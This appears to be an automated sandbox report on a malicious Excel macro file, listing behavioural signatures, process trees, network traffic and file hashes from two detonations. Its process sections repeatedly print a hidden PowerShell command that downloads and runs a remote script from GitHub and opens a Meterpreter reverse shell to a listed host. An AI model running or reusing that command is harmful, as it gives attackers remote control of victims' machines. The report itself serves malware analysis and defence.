Analysis Overview
SHA256
6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e
Threat Level: Known bad
The file 6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Office macro that triggers on suspicious action
Checks computer location settings
Legitimate hosting services abused for malware hosting/C2
Drops file in System32 directory
Enumerates physical storage devices
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
Suspicious use of AdjustPrivilegeToken
Checks processor information in registry
Suspicious use of WriteProcessMemory
Enumerates system info in registry
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-21 21:35
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-21 21:35
Reported
2024-07-21 21:37
Platform
win7-20240705-en
Max time kernel
24s
Max time network
19s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\wscript.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e.xls
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
C:\Windows\SysWOW64\wscript.exe
wscript C:\Users\Public\config.vbs
C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
Files
memory/1700-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1700-1-0x00000000723AD000-0x00000000723B8000-memory.dmp
memory/1700-17-0x00000000070C0000-0x00000000071C0000-memory.dmp
memory/1700-18-0x00000000070C0000-0x00000000071C0000-memory.dmp
memory/1700-38-0x00000000070C0000-0x00000000071C0000-memory.dmp
memory/1700-32-0x00000000070C0000-0x00000000071C0000-memory.dmp
memory/1700-39-0x00000000070C0000-0x00000000071C0000-memory.dmp
C:\Users\Public\config.vbs
| MD5 | ce52ab154163c511f0efa6a61e22ab64 |
| SHA1 | 9f12cc215e15802eddcb02cb5370ef16b21fa3a6 |
| SHA256 | df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17 |
| SHA512 | cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78 |
memory/2904-45-0x000000001B840000-0x000000001BB22000-memory.dmp
memory/2904-46-0x0000000001FC0000-0x0000000001FC8000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CK8JXDH9Y0449WOZPCUS.temp
| MD5 | 9bae5df9500d4dccaec25d25d7fa8cbe |
| SHA1 | d3d2fbaa81ac065bf573e1a81e52e05e0d503a9f |
| SHA256 | dc9c30ec018617a152f067a53c640486836620efac83d5c1416e876a3a5e7b34 |
| SHA512 | 3cd51e87266cdd989874e9995122de604d51141b28c8ef7142a966c64dc51f347285aa9e134645b258b53edc60cdeec893fffff166401b8b7c4f6320f8af2d15 |
memory/1700-49-0x00000000723AD000-0x00000000723B8000-memory.dmp
memory/1700-50-0x00000000070C0000-0x00000000071C0000-memory.dmp
memory/1700-51-0x00000000070C0000-0x00000000071C0000-memory.dmp
memory/1700-52-0x00000000070C0000-0x00000000071C0000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-21 21:35
Reported
2024-07-21 21:36
Platform
win10v2004-20240709-en
Max time kernel
47s
Max time network
40s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\wscript.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation | C:\Windows\SYSTEM32\wscript.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4328 wrote to memory of 1656 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\wscript.exe |
| PID 4328 wrote to memory of 1656 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\wscript.exe |
| PID 1656 wrote to memory of 1284 | N/A | C:\Windows\SYSTEM32\wscript.exe | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1656 wrote to memory of 1284 | N/A | C:\Windows\SYSTEM32\wscript.exe | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e.xls"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
C:\Windows\SYSTEM32\wscript.exe
wscript C:\Users\Public\config.vbs
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| NL | 52.109.89.19:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 19.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | 133.111.199.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.117.168.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
Files
memory/4328-0-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp
memory/4328-2-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp
memory/4328-1-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp
memory/4328-4-0x00007FFAEB52D000-0x00007FFAEB52E000-memory.dmp
memory/4328-3-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp
memory/4328-5-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp
memory/4328-6-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-8-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-10-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-11-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-12-0x00007FFAA90E0000-0x00007FFAA90F0000-memory.dmp
memory/4328-9-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-14-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-16-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-13-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-7-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-15-0x00007FFAA90E0000-0x00007FFAA90F0000-memory.dmp
memory/4328-17-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-19-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-21-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-22-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-20-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-18-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-27-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-26-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-33-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-35-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
C:\Users\Public\config.vbs
| MD5 | ce52ab154163c511f0efa6a61e22ab64 |
| SHA1 | 9f12cc215e15802eddcb02cb5370ef16b21fa3a6 |
| SHA256 | df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17 |
| SHA512 | cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78 |
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mzdd0ed2.p5k.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/824-37-0x0000019B7A630000-0x0000019B7A652000-memory.dmp
memory/1284-56-0x00000221C3890000-0x00000221C38D4000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | d2ddad43b532e7fea0f34ce2eef6d110 |
| SHA1 | 7757466bdc41fa1454c5f64422fa8221647b0898 |
| SHA256 | 6d1cc0071566b6fc6caa45ac1d539bb3046fec92695d406f376c7abd4bc9b588 |
| SHA512 | 59c2ca97e2d8f546519b5731e3f0f3cea4cb2fe1f8ea2cb8250b33e69a1d12ab7f388c2f38b5e4877c3e3af6dfee9f261709b8a33e8d82f71661211e2ae28021 |
memory/4328-76-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-77-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp
memory/4328-78-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp